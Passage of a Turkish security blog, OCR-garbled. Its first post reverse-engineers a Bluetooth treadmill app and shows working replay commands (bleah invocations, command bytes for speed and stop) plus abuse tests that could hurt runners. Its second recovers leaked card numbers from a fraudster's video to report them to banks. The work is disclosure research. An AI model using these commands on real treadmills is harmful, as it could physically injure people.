tarafindan gelistirilen Google Play’deki

Gfit.INTL uygulamasmin sayfasina yonlendirdigini gordiim. Kosu band:
Bluetooth destekledigi icin bu uygulamayr kurup ne tir komutlar
gonderilebildigini incelemeye ve kendimce koétiiye kullanim senaryolarim
ortaya ¢ikarmaya karar verdim.


http://www.artiwares.com/app/treadmill/spax/
http://www.gfitgo.com/
https://play.google.com/store/apps/details?id=com.artiwares.treadmill.international

A Not Secure | artiwares.com;

)

in

SPAX
ENJOY YOUR MOVEMENT

@ play.google.com Y © in 8 53 & & :

& cC 0

@ Text A& Hack4Career.Inf.. in Linkedin Mert SARICA (mer... 4 Inbox - mert.saric... £ Other Bookmarks | [E] Reading List

Categories v

Home  Topcharts  New releases

] el

My apps

shop GfitINTL . Similar

running on your trea

FutureGo Inc  Health & Fitness * ok p 8
< O Peci3 Smart Treadrn
Games \ Marco Moscato
il his app is available for all o your devices § Share with Zwift speed,
cadence and incline while

Editors Choice m

Account *k ok ke
Payment methods REVIEWS © Review policy and info
G-FIT: Gina Al

My subscriptions Mostrelevant v All Devices v All Ratings v/ Gina Aliott Fitness
Redeem Your #1 source for quick

IS ST nd effective home

User reviews o

Buy gift card Us € workouts for the bus,
My wishlist mrs B &

* *kkk ke

My Play activity
This app was recommended to use with my treadmill. Sadly it does not upload my workout,

it does not allow me to move onto the next ‘lesson” so | am stuck on lesson 1. It makes the FitShow
FitSHOW (Xiamen)
whole app useless. Unless these issues are addressed | see no point in using it
- Make sports more
igh Hannam w® wonderful
*akk :
Works fine with the exception that it won't upload my workouts. Workouts have been on up-

Parent Guide

*
loading now since as far back as January. No support on app to contact to resolve (option is

there utd it doesnit work)

Treadmill Wo
dotsmlines | Pvo cy - Terms

i [ Youual z
Bu arastirmayr yaptigimda favori araclarimdan olan Genymotion
oykiinticiistt (emulator) Apple M1 islemcili macOS desteklemedigi icin
Android’de Kanca Atmak yazimda oldugu gibi 6ykiiniici tabanli dinamik

analizden ve tiirlti imkanlarindan faydalanamayacagimi iyi biliyordum.
Gfit uygulamasini cep telefonuma kurup RunnerT Bluetooth ismine


https://www.genymotion.com/
https://www.mertsarica.com/androidde-kanca-atmak/
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sahip kosu bandim ile eglestirdikten sonra uygulama iizerinden kosu
bandinin temel fonksiyonlar1 olan baglatma (start), hiz arttirma, hiz azaltma
ve durdurma iglemlerini rahatlikla gerceklestirebildigimi gordim.
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Treadmill connecting
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Uygulama tarafindan kosu bandina goénderilen komutlar1 6grenmek
istedigim i¢in ya statik kod analizini tercih edecektim ya da uygulamanin
yukli oldugu cep telefonundan faydalanacaktim. Statik kod analizi ile
ilerlemek daha pratik geldigi i¢in jadx araci ile Gfit uygulamasini incelemeye
basladim.

"eoe *New Project - jadx-gui )
File View Navigation Tools Help
s [@]@] (5] & [FA1R <l & i[E]i[# IS
b ﬂij;&‘ir"cteli;:e-ﬁ-apk <4 © con.artivares.ble. treadnill. TreadnillBleControllerl X © con.artiwares.ble. treadnill. TreadnillBleControllerHolder X »
& android. support .
& androidx 279 this. f.a(RunDataUtil.a(bArr));
£ anet. channel g
£ anetwork. channel
& butterknife 288|  private void g(byte[] bArr) {
com 289 if (bArr != null & bArr.length >= 12 & (bArr[11] & 255) == @) {
i alibaba. sdk.android 302 TreadmillDataInfo a = RunDataUtil.a(bArr);
& android.volley 304 if (this.c & a.speed == 0) {
& artiwares 306 this.c = false;
i ble 307 d(2000);
}
i base
& chituBand g ¥
 chituHeartRateBand
# constant 317 private void f(long j) {
i heartRateMonitor 318 this.e.a(a(7, 6, 0), §);
& miBand }
scan
(T_—treadmill ;;; priv:;? vniﬂ(b;i;;?ﬂ {
© TreadnillBleBaseController g CemsL el
[c]TreadnillBleControllerl
@ TreadnillBleController2 333|  private byte[] c(int i2) {
@ TreadnillBleControllerHolder 334 return a(3, 12, 0);
© TreadnillBleControllertw ¥
@ TreadnillBleHelper . :
® TreadnillBleService 337|  private byte[] d(int i2) {
® utils 338 return a(4, 0, i2);
® AESTool :
© BleLog 3a1|  private byte[] a(int i2, int i3, int 14) {
© BleUtils 342 byte[] bArr = new byte(7];
© HexUtil 342 bArr[@] = (byte) (i2 & 255);
® RunbDataUtil 342 bArr[1] = (byte) (i3 & 255);
® RunDataUtil2 342 bArr[2] = (byte) (id & 255);
g 382 bArr(3] = 0;
g”?m:tsgals 342 bArr(a] = 0;
® aaanestan 348 bArr(5] = (byte) (((bArr(0] + bArr[1]) ~ bArr(2]) + bArr(3] + 37);
e‘;qi’ga"‘\{éefk 352 bArr(6] = (byte) ((bArr[1] ~ bArr(e]) + bArr(2] + bArr(3] + 2);
eCa acl 352 return bArr;
© BleServiceHandler }
© ConnectCallback i
@ TimeoutCallback o
# treadmill mal
€ 4

Uygulama genelinde kodlar gizlendigi (obfuscation) ve mevcut sartlar ve
kosullarda 6ykiiniicii izerinde dinamik kod analizi yapma sansim olmadig:
icin hemen pes edip telefon tizerinden neler yapabilecegime bakmaya karar
verdim.

Samsung’un destek sayfasinda Bluetooth paketleri kaynakli problem
yasayan bir kisinin mesajma yazilan yanittaki adimlari takip etmeye
basladim.

6. adima geldigimde Gfit uygulamasi iizerinden kosu bandina baglatma,
hiz arttirma, hiz azaltma, kosu bandini durdurma komutlarim1 génderdim
ve diger adimlara gecip btsnoop_hci.log dosyasint Wireshark ile analiz
etmeye bagladim.


https://github.com/skylot/jadx
https://developer.android.com/studio/build/shrink-code#obfuscate
https://forum.developer.samsung.com/t/bluetooth-crash-and-data-corruption-galaxy-s20-fe-and-other-sd-865-based-devices/10746/2
https://www.wireshark.org/
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Samsung Developers Explore Build Design Distribute Connect Q Blog News Sign-in

Forum Home o Q =
XJ platform-tools — -zsh — 80x24

Hi oliver, mertrix@Hack4Career platform-tools % ./adb bugreport bugreport.zip
~ waiting for device -

I'can not access the link https://issuetracker.google.com/issues/177246259 /data/user_de/@/com.android.shell/file.... 34.5 MB/s (26819145 bytes in 0.742s)

If you think the issue should be solved by Samsung then you can report the issue tqL NIRRT LRSI Nt e T3

support officially. Please below information with the report- R g e Al an

1. Issue reproduction step with demo video

btsnoop_hcilog bem_bt_criticallo bem_bt_dbg.log  bem_bt_rtlog
ast 9

e present. J

WireShark iizerinde btle.advertising_address == 62:00:a1:18:b5:22 filtresi
ile kosu bandma ulagan ilk komuta baktigimda kosu bandini bagslatma
komutu olan 01000000002603 degerini gordiim.

° £ btsnoop_hci.log

AD A mBEKRKBE@ ¢ EF L E
W | btleadvertising_address
No. Time | Source | Destination Protocc| Lengtt| Info
536 2021-05-15 SamsungE_ 62:00 (RunnerT) ~ ATT 14 Sent Find Information Request, Handles: €x024..0x0024
539 2021-05-15 . SamsungE_ (RunnerT) 14 Sent Find Information Request, Handles: @x0027..@xffff
2021-05-15 . SamsungE_ (RunnerT) 13 Sent Write Command, Handle: @x@021 (Unknown: Unknown)
2021-05-15 09:24: SamsungE_| :00: (RunnerT) 12 Sent Read Request, Handle: 8x0010 (Device Information: Model Num
548 2021-05-15 : SamsungE_| (RunnerT) 19 Sent Write Command, Handle: @x@026 (Unknown: Unknown)
549 2021-05-15 . samsungE_| (RunnerT) Sent Write Request, Handle: @x8024 (Unknown: Unknown: Client Cha
555 2021-05-15 . SamsungE_| (RunnerT) Sent Write Command, Handle: @x@026 (Unknown: Unknown)
563 2021-05-15 SamsungE_ (RunnerT) Sent Write Command, Handle: €x8026 (Unknown: Unknown)
565 2021-05-15 09:24:58.004370  SamsungE_ :00: (RunnerT) Sent Write Command, Handle: @x8026 (Unknown: Unknown)
573 2021-05-15 50.503307  SamsungE_ (RunnerT) Sent Connection Parameter Update Response (Accepted)
635 2021-05-15 04.648886  SamsungE_ (RunnerT) Sent Wri 0x0026 (Unknown: Unknown)
638 2021-05-15 . SamsungE_ (RunnerT) Sent 0x0026 (Unknown: Unknown)
667 2021-05-15 ’ SamsungE_ (RunnerT) Sent Write Command, Handle: @x8026 (Unknown: Unknown)
722 2021-05-15 09:25:23.184558  SamsungE_ :00: (RunnerT) Sent Write Command, Handle: @x@026 (Unknown: Unknown)
774 2021-05-15 34.969924 SamsungE_ (RunnerT) Sent Write Command, Handle 0x0026 (Unknown: Unknown)
1595 2021-05-15 35.975987  SamsungE_ (RunnerT) Sent Read By Group Type Request, GATT Primary Service Declaration, Han|

Frame 563: 19 bytes on wire (152 bits), 19 bytes captured (152 bits)
Bluetooth
Bluetooth HCI H4
Bluetooth HCT ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Command (@x52)
Handle: 0x0026 (Unknown: Unknown)
Value: 1000000002603

0000 02 41 00 Oe 00 0a 00 04 00 52 26 60 0100 00 09
0010 00 26 03

® B value (btattvalue),7 bytes Packets: 5805 - Displayed: 699 (12.0%)

Daha sonra kosu bandina sirasiyla Bekletme/Pause (05000000002a07), hizi
saatte 9 KM’ye ayarlama (035a000000825b), hiz1 saatte 5.2 KM'ye ayarlama
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(03340000005¢39) ve Durdurma (02000000002704) komutlarini goénderip
WireShark tizerinde parantez i¢indeki diger degerleri gordiim.

Ik olarak kosu bandinin tekrarlama (replay) saldirisma acik olup
olmadigini 6grenmeye karar verdim. Bunun icin de oncelike BLE destekli
kosu bandina elde ettigim Bluetooth paketlerini gonderecek aygitta ve aracta
karar kilmam gerekti. Aygit olarak Mavi Tehlike baglikli blog yazimda da
kullandigim Parani-UD100 imdadima yetisti.

Sira paket gondermek i¢in ara¢ bulmaya geldiginde gatttool, bleah ve nRF

Connect aracglar1 arasindan bleah ile ilerlemeye karar verdim.

Kali isletim sistemi tizerinde bleah -b “62:00:xx:xx:xx:xx” -e komutu ile
Generic Attribute Protocol (GATT) ile kosu bandina paket gonderebilmek
icin ihtiya¢  duyacagim Servisler (Services) ve Karakteristikler

(Characteris

o

tics) bilgilerine hizli bir sekilde listeleyebildim.

can'tco.. £ g qterminal

e54eaa57-371b-476c-99a3-74d267e3edae karakteristik bilgisinde WRITE
ozelligini gorditkkten sonra bleah ile kosu bandina bleah -b
“62:00:xx:xx:xx:xX” -u “e54eaa57-371b-476¢-99a3-74d267e3edae” -d


https://www.mertsarica.com/mavi-tehlike/
http://www.senanetworks.com/ud100-g03.html
http://manpages.ubuntu.com/manpages/cosmic/man1/gatttool.1.html
https://github.com/S4MU51/bleah
https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&hl=en_IN
https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&hl=en_IN
https://www.bluetooth.com/bluetooth-resources/intro-to-bluetooth-gap-gatt/
https://tr.wikipedia.org/wiki/Bluetooth_Low_Energy#Servisler_ve_Karakteristikler
https://tr.wikipedia.org/wiki/Bluetooth_Low_Energy#Servisler_ve_Karakteristikler
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“0x01000000002603” komutunu gonderdikten sonra kosu bandinin
basladigin1 gérdiim!

Bu noktada kosu bandinin tekrarlama saldirisma agik oldugunu
ogrendikten sonra sira bu komutlarin nasil olusturuldugunu 6grenmeye
karar verdim. Kaynak kodu seviyesinde gizleme (obfuscation) teknigi
kullanildig1 ve dinamik kod analizi de yapamadigim icin Gfit uygulamasimnin
eski stirimlerini indirip teker teker incelemeye basladim ve cok gecmeden

2017 siriminde gizleme (obfuscation) teknigi kullanilmadigini goérdim. 2020
ve 2017 kaynak kodlarini yan yana koydugumda Gfit uygulamasindan kosu

bandina gonderilen komutlarin nasil olusturuldugunu 6grenmem oldukga

&€ > C O @& apkmonk.com Iiprevio BN EEEEE
@ Text & Hack4 Career.Inf.. jn Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... E Other Bookmarks [E Reading List|
Period Tracker - Period Huawei Health
Calendar Ovulation
All Versions e
5N
Apk Versions available: 5.9.6,5.8.1,5.6.6,5.6.0,5.4.3,5.4.0,5.2.0,5.1.1,5.0.1,43.1,423,41.11,4.1.7,4.1.1, X
340,302. J
59.6 June 15,2020 Calorie Counter - Home Workout - No
MyFitnessPal Equipment
5.8.1 Oct. 22,2018
~ 30
5.6.6 June 13,2018 \ ‘
ﬁdas ﬁ A
A
5.6.0 April 18,2018
Runtastic Running App: Six Pack in 30 Days -
543 March 7, 2018 Run & Mileage Tracker Abs Workout
5.4.0 Feb. 6,2018
520 Jan. 12,2018 B E
N/A Dec. 25,2017 Lose Weight in 30 Days
N/A Dec. 3,2017

431 Aug. 29,2017


https://www.apkmonk.com/app/com.artiwares.treadmill/#previous

Ornek olarak kaynak koduna hizlica géz attigimda, kosu bandini baglatmak
(start) icin startTreadmill(long delayMillis) fonksiyonu cagrilmakta
ardindan mBleHelper.writeCommand(getControlCommand(1, 0, 0),
delayMillis) fonksiyonu ve son olarak kosu bandina goénderilecek 7 bayt
degerindeki paketi olusturan asagidaki getControlCommand(int mode,

int speed, int slope) fonksiyonu ¢agrilmaktaydi.

private byte[] getControlCommand (int mode, int speed,
int slope) {
byte[] cmd = new byte[7];

cmd[0] = (byte) (mode & 255);

cmd[1l] = (byte) (speed & 255);

cmd[2] = (byte) (slope & 255);

cmd[3] = 0;

cmd[4] = 0;

cmd[5] = (byte) (((cmd[0O] + cmd[1l]) *~ cmd[2]) +

cmd[3] + 37);

cmd[6] = (byte) ((cmd[0] ~ cmd[1l]) + cmd[2] + cmd[3]
)
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return cmd;

Kosu bandini baglatmak icin mode = 1, speed = 0, slope = 0 degiskenleri
ile cagrilan yukardaki getControlCommand fonksiyonunda yer alan
01000000002603 ciktisini
olusturabildim. Bu sayede artik Gfit uygulamasi olmadan kosu bandini

igslemleri Python ile gercgeklestirdigimde
baglatacak komuttan (getControlCommand(1, 0, 0)) hiz arttirmaya
(getControlCommand(3, 5, 0)) kadar tim komutlar1 Python ile olusturup
Parani-UD100 sayesinde bleah araci ile kosu bandina gonderebilecek

noktaya geldim.

£ treadmill
 Presenter
# activity

Smali

e 3
LN } *New Project - jadx-gui
File View Tools Help
o [@[&]:[&8] & [AI]][c][=] @ [E N
5 =
4 com.artiwares. treadnill 2017-08-29.apk « ® con.artiwares. Library.ble. treadnill.TreadnillBleController 3
# Source code
i a.a.a o PUDCAC VOAU UNIRESTIET ] T
# android 7 this.mBleHelper. addBleCallback(this.nBleCallback);
& butterknife s this.mBleControl lerListener.onConnectionStateChange(this.nBleHelper.mState) ;
i cn.pedant. SweetAlert ¥
com
b4 # activeandroid i I;"hll; :;xé/nzg:u‘z:é;wares library.ble. treadnill.TreadnillBleBaseController
i alibaba. sdk.android 8 ‘this.nBleHelper. removeBleCal lback( this.mBleCallback) ;
£ amap.api
# android
artiwares coverride // com.artiwares. Library.ble. treadnill.Treadnil1BleBaseController
#art:
i algorithm 87|  public void startTreadnill(long delayMillis) {
£ library 88 ‘this.mBleHelper.writeConnand(getControlConmand(1, 0, 0), delayMillis);
fible
‘ﬁﬁm"hema"d @ve: // com.artiwares. Library.ble.treadnill.TreadnillBleBaseController
i base a3l gubtie Veid seariTreamitnt speed, int slope)
i chituBand }
i chituHeartRateBand
£ constant erride // con.artiwares. Library.ble. treadnill.TreadnillBleBaseController
£ scan 97| public void pauseTreadnill(long delayMillis) {
& treadmill 98 ‘this.nBleHelper.writeConmand(getControlConmand(5, 0, 0), delayMillis);
© TreadmillBleBaseController
@ Treadnill5lecontroller @verride // com.artiwares. Library.ble. treadnill.Treadnil1BleBaseController
© TreadnillBleController2 103 public void resumeTreadmill(long delayMillis)
© TreadnillBleControllerHold 104 startTreadnill(delayMillis);
© TreadmillBleService
[E)Treadmil1BluetoothHelper
& utils erride // con.artiwares. library.ble. treadnill. TreadnillBleBaseController
& weightscale 107| public vodd stopTreadnill(long delayhillis) {
© AppHandler 108 writeC trolCommand(2, 0, 0), delayMillis);
}
© BleCallback
© Bleservicetandle 20verride // com.artiwares.library.ble.treadnill.TreadnillBleBaseController
© BuildConfig 1m public void writeSpeedToTreadnill(int speed)
G Connectcallback 12 writeSpeedConmandToTreadnill(speed) ;
G Tlmeoutcauback
& umeng de // com.artiwares. library.ble. treadnill. TreadnillBleBaseController
15| public void writeSpeedTaTreadnill(int speed, Tong delayMillis) {
£ shareutil e s S taramman (natCant ral €nasdrammand  cnaad) dalauli1lie):
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A ERSmd tREOC SEBS S8 EA0O
logcatixt* M [btatt.opcode == 0x52
writeCommand( value, delayMillis) { No. | Time

0 s
appHandler . postDelayed(new Runnable() { S AR 5D [Saies)

SamsungE_ (HackacCareer)

5156 2021-05-15 1@ SamsungE_ (Hack4Career) 52
run() < 5199 2021-05-15 10 SamsungE_| (HackdCareer)
TreadnillBluetoothHelper . this.writeCommand(value); 5235 2021-05-15 10 SamsungE_ (Hacka4Career)

5237 2021-05-15 10 SamsungE___.__.__ (HackdCareer)
}, delayMillis);
Frame 5199: 19 bytes on wire (152 bits), 19 bytes captured (152 bits)
> Bluetooth

eoverride Bluetooth HCI H4

startTreadnill( delayMillis) {
.mBleHelper .writeCommand(getControlCommand(1, 0, 0), delayMillis); Bluetooth HCI ACL Packet
¥ > Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol

x ite Command (0x52)
S SRR G G thentication Signature: False
y " mmand: True

startTreadnillRunning() { thod: Write Request (0x12)
TreadmillBleControllerHolder.getInstance().startTreadmill(400); ©026 (Unknown: Unknown)

} [ e UUID: e54eaa50371b476c99a374d267e3edae]
[UUID: e54eaa57371b476c99a374d267e3edael

@override

[} getControlComand(int node, speed, slope) { Value: 0100000002603

1
nd =

( ) (mode & 255);

( ) (speed & 255); 0000 02 41 00 0e 00 0a 00 04 00 52 26 00 01 00 00 00
= (4 ) (slope & 255); 0010 00 26 03
0
0
[¢
(

) (((cmd[0] + cmd[1]) A cmd[2]) + cmd[3] + 37);
) ((cmd[0] A cmd[11) + cmd[2] + cmd[3] + 2);

L] mertrix — Python — 80x24

Co IR - L

Address Value nformatio

" fornat (0xa08255, "02x")
(({ (axa1+0x00) oxB0  +0xa0+37

Output [ &5 L, FindinFiles 2 Compare L Histogram
Inserted: 424 [1A8h] bytes . ) Profile: Default

Son olarak sira aklima gelen kotiiye kullanim senaryolarini pratikte
denemeye geldiginde;

flk olarak kosu bandmin hiz sinir1 olan saatte 14 KM’yi 20 KM’ye
yiikseltmeye caligtigimda (bleah -b “62:00:xx:xx:xx:xx” -u
“e54eaa57-371b-476¢-99a3-74d267e3edae” -d “0x03¢8000000f0cd”)
maksimum 14 KM’ye ayarlanabildigini gérdiim. (iyi haber)

Ikinci olarak kosu bandina saatte 14 KM hizla giderken kosu bandina
durdurma komutu génderdigimde (bleah -b “62:00:xx:xx:xx:xx” -u
“e54eaa57-371b-476c-99a3-74d267e3edae” -d “0x02000000002704”)
kosu bandinin mevcut hizdan 0 KM’ye mevcut hiz stiresinde (Saatte 14 KM
hizla kosuluyorsa 14 saniyede duruyor) saniyede diistiigiinii gérdiim fakat
ayn1 paketi iki defa, pespese gonderdigimde bu defa 4-5 saniyede distiigiini
ve yiiksek hizda kosarken kontrolsiiz bir sekilde bu denli azalmasinin kosan
kisinin kaza yasamasina imkan taniyabilecegini diigiindiim. (k6tii haber)
Son olarak diisiik hizda yiirityen veya kosan bir kisinin kosu bandina,
sinirsiz bir dongiide hizi satte 14 KM’ye yiikselten komut gonderdigimde

asagidaki videoda oldugu iizere kiginin panik halinde hiz1 azaltmaya caligsa
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da bagsaramadigini bu nedenle kaza yagsama ihtimalinin ortaya ciktigini
gérmis oldum. Bir de bu kosu bantlarindan satin almis ve kullanima
sunmus bir spor salonuna kotii niyetli bir kiginin gidip tiim kosu bantlarina
sirasiyla bu komutu gonderdigini diisiindiigiimde yasanacak krizi gdziimiin
oniine getirmek bile istemedim. (k6tii haber)

Bir veya daha fazla etkilesimli 6ge, metnin bu siiriimiinde yer
almadi. Bunlari ¢evrimici olarak burada goriintiileyebilirsiniz:
https://pressbooks.pub/mertrix/?p=49#oembed-1

Sonug itibariyle Bluetooth fonksiyonunu kapatamadiginiz ve yazilimi ne
idigi belirsiz Cinli bir firma tarafindan gelistirilen bu kosu bandini satin
almadan o6nce veya kullanirken risklerini goéz Oniinde bulundurmanizi
siddetle tavsiye ederek bir sonraki yazida goriismek dilegiyle herkese giivenli

giinler dilerim.


http://www.gfitgo.com/

Calinti1 Kart Avi

Sosyal medyay1 oldukca etkin kullanan bir giivenlik arastirmacisi olarak bu
zamana dek sosyal aglar, e-postalar tizerinden aldigim mesajlar1 giivenlik

aragtirmalarmma ve ardindan blog yazilarina, sunumlara cevirdigimi

biliyorsunuzdur. Cikis noktasi digerleri ile ayni olan bu hikayede ise miisteri
giuvenligini saglamak amaciyla sosyal ag iizerinden gelen bir siber tehdit
istihbaratindan nasil faydalandigimi gorebilirsiniz.

Her sabah oldugu gibi 17 Temmuz 2020 sabahi da uyandiktan hemen
sonra telefonumu elime alip siber giivenlik haberlerine goz atmak i¢in sosyal
medya hesaplarima g6z atmaya basladim. LinkedIn {izerinde Ebubekir
BASTAMA isimli bir kisinin bankalar diginda beni de etiketledigi bir mesaj
dikkatimi cekti. Mesajinda bir videoda yer alan ve a¢ik halde goriilen kredi
kart1 bilgilerinin yer aldigini ve miisteri giivenligi adina bunlarin iptal edilip

edilmedigini merak ediyordu.
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https://www.mertsarica.com/arka-kapi-avi/
https://www.mertsarica.com/medya/sunumlar/2015-2/istsec-2015/
https://www.linkedin.com/in/ebubekirbastama
https://www.linkedin.com/in/ebubekirbastama
https://www.linkedin.com/feed/update/urn:li:activity:6689659384559104000/?commentUrn=urn%3Ali%3Acomment%3A(activity%3A6689659384559104000%2C6689839164130643969)
https://www.youtube.com/watch?v=tv5a5vgETNk
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#siberglivenlik Garanti BBVA Ziraat Bankasi Akbank Mert SARICA

Bu tir sistemler ile ilgili midahele ediyorlarmi acaba videoda agik olarak goziken
cc'ler iptal edildimi acaba ve bu aralar bunlan bence kontrol edilse iyi olur
http://40.114.198.150

https://Inkd.in/dCy7iGz

See translation

‘(‘_\j Like [E] Comment F{)Share “{;"Send

omment...

B onseisomens X e Tt A B ANDICAM. com
MDA 0114198150 es

5311570179918516 0712023525 - Banka ds K 5.5, FASTERCARD, CLASSTC.
07,2020 00:49:25 - Kin : Tuilso
0212023522 - Banka sda ¢ BANKAST A.5.,VISA, PLATIN
51126 - Kin : TudlzonZ
art no | aassrs0sa0115246]0112023 (5% - Banka ads ¢ BANKAST A.5.,VIS4,CLASSIC
13.07.2020 01:00:44 - Kim ¢ Bzcurrents
i a7asacazosasssis|os|2024[563 - Banks ads : AT - 13.67.2020 01:16:05 - Kim : TuilsonZ
01]2022(501 - Banka ada + 5. HASTERCARD, PLATINUM

Kin : Tuilsonz
61]2023/538 - sarks sdh © BANKAST A.5.,VIS,CLASSTC

fin : Bzcurrents

01]20221501

0412023755 - sanka ads BANKAST 4.5 HASTERCARD, CLASSIC

i : Tdlsor

PR A.5. HASTERCARD, PLATINUH

BANKAST A.5.,VISA, PLATIN
Kin et

01]2022(501 - sank sda © 4.5, PASTERCARD, PLATIIUN
Xin : Tuilsonz

Sanka s ¢ K A.5.,VISA, 0D
12020 01:35:17 - Kin : Szcurre
rt no ; dass760681561475| 1740 - BAUKAST A.5.,VIS4,CLASSIC
~13.07.2020 01:46:46 - Kin : Thsuhshue:
Kort no | aass7eoesise1479]01]20231749 - . BANKAST A.5.,VISA,CLASSTC
2 13.07.2020 03:47:08 - Kim ua2:
B BAUKASI A.5.,VISA,CLASSIC
KAST A.5., HASTERCARD, BUSTHESS
eanka s ¢ BANKASI A.5.,VISA,GOLD
y
- vonka ods © BANKAST A.5.,VISA, PLATIN

y
o ~ sanks s ¢ ST A5, visa, pusTiEsS
2:08:56 - Kin : turkiay
23500237234315] 12[2020] 670 - Banks sd ST A.5.,VIsA, CLASSIC
~kin : torkisy
11/2020]151 - Banka ada SI A.S.,VISA, CLASSIC
2020 02:12:12 - Kin : turkisy
ase3600295035217 | 102020382 - Banka e : ST A.5.,VISA, CLasSIC
Sanka s ¢ A.5. HASTERCARD, PLATINUH
0212032763 - sanka sda © ST A5 VIS, CLASSIC
Kin y
< sanka s ¢ A.5. PASTERCARD, PLATINUH

Kin : epatlar
02]2023(579 - sanka ad + St A5 visa, cLassic

Kin : turkley
02]2023(601_ - Banks ada ¢ BANKAST 4.5.,VI5A,G0LD
Kin : Tuilsonz

- sanks sax St 5., visa, cuassic
y
- Banks adh ¢ BANKAST A.5.,VISA,DEBIT

- sanks s ¢ W st as.visa,oesiT

Videoyu izlemeye basladigimda Coez Checker isimli ¢alint1 kartlar1 kontrol
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etmek amaciyla kullanilan bir servisin dolandiricilar tarafindan diger
dolandiricilara mesaj vermek amaciyla hacklendigi anlasiliyordu.
Dolandirici, yaklasik 3 dakikalik videonun 30 saniyesi boyunca sistem
iizerinde kayitli olan 13 Temmuz tarihli ¢alint1 kart bilgilerini gosteriyor
ve ardindan diger dolandiricilara mesajimi ilettikten sonra video kaydi
sonlantyordu. Videoda goriinen c¢alinti kart bilgilerinin yer aldig:
http://40[.]114.198.150/live.txt adresine ulagmak istedigimde ise tahmin
ettigim tizere dosya ¢oktan yayindan kaldirilmist: ve elimde sadece bu video
ile kalakalmistim.

s 404 Not Fourd x

< C 28 | A 40.114.198.150/live.txt

ﬂ Hack 4 Career. Infor. ﬂi Linkedln ¥ Mert SARICA {merts.. M Inbox - mertsarica...

Not Found

The requested URL /live txt was not found on this server.

Vatandaslarin dolandiricilar tarafindan magdur edilmemesi adma bu
videodaki kart bilgilerini basta Sektérel SOME/BDDK olmak tizere bankalarla
da paylasmak i¢in videodan nasil elde edebilecegimi diisinmeye bagladim.
2009 yilinda X Finans Kurulusu — Animated Captcha (GIF) baglik blog yazim
icin benzer bir calisma yaptigimi amimsayarak bu defa video dosyasini

karelere (frame) ayirmaya ardindan da Sponsorlu Dolandiricilik baglikli blog

yazimda oldugu gibi gorintii dosyalarini OCR ile analiz edip kart bilgilerini
ortaya ¢ikarmaya karar verdim.
Ik is olarak Y2mate YouTube Downloader web sitesinden faydalanarak

Youtube tizerinden ilgili video dosyasini indirdim.


https://www.bddk.org.tr/
https://www.mertsarica.com/x-finans-kurulusu-animated-captcha-gif/
https://en.wikipedia.org/wiki/Film_frame
https://www.mertsarica.com/sponsorlu-dolandiricilik/
https://tr.wikipedia.org/wiki/Optik_karakter_tan%C4%B1ma
http://www.y2mate.com/

O DvouTuve Dourloader- Do X | +

y2mate.com
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Python ile belirtilen video dosyasini karelere ayirip, JPEG dosya bi¢iminde

saklayan Cam2]pg isimli bir ara¢ gelistirip indirdigim video dosyasi iizerinde

calistirdigimda ortaya 5000’den fazla goriintii dosyas: ¢ikt1.


https://github.com/mertsarica/hack4career/blob/master/codes/cam2jpg.py
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B CA\WINDOWS\system32icmd.exe - python cam2jpg.py "Coez.mp4" Coez

WWI_II_II_II_II_II_II_IWWWH_H_IWWA

ggggggggggggggggggggggggggggggg

JJJJJJJJJJJJJJJJJJJJJJJJJ

vvvvvvvvvvvvvvvvvvvvvvvvvvvv

g s Spg  2pg  Ejpg  ETdipg

;;;;;;;;;;;;;;;;;;;;;;;;;;;;

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

Bu defa Python ile Python-tesseract projesinden faydalanarak goriinti



https://pypi.org/project/pytesseract/
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dosyalarini analiz edip, kredi karti1 numaralarini tespit eden Jpg2Ocr (kotiiye
kullanilmamasi adina araci yaymlamama karar1 aldim) isimli bagka bir arac
daha gelistirdim. Bu araci goriintii dosyalar1 lizerinde calistirdigimda kisa

stire icinde 1000°den fazla kredi karti numarasi ortaya ¢ikmis oldu.

B C:A\WINDOWS\system32\cmd exe - python jpg2ocr.py Coez - o X

< >

Elde ettigim tiim kredi karti bilgilerini aym giin icinde yetkili mercilerle
paylasarak daha fazla vatandasimizin magdur olmasim engellemenin verdigi
sorumluluk bilinci ve mutluluk ile bir giivenlik arastirmami daha
tamamlamis oldum.

Kurum olarak bir veya birden fazla siber tehdit istihbarati servisinden
faydalansaniz da istihbaratin gelmemesi veya gecikmeli gelmesi durumlarina
kars1 kendi imkanlarinizla da sosyal aglari yakindan takip etmenizde her
zaman fayda olacaktir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.
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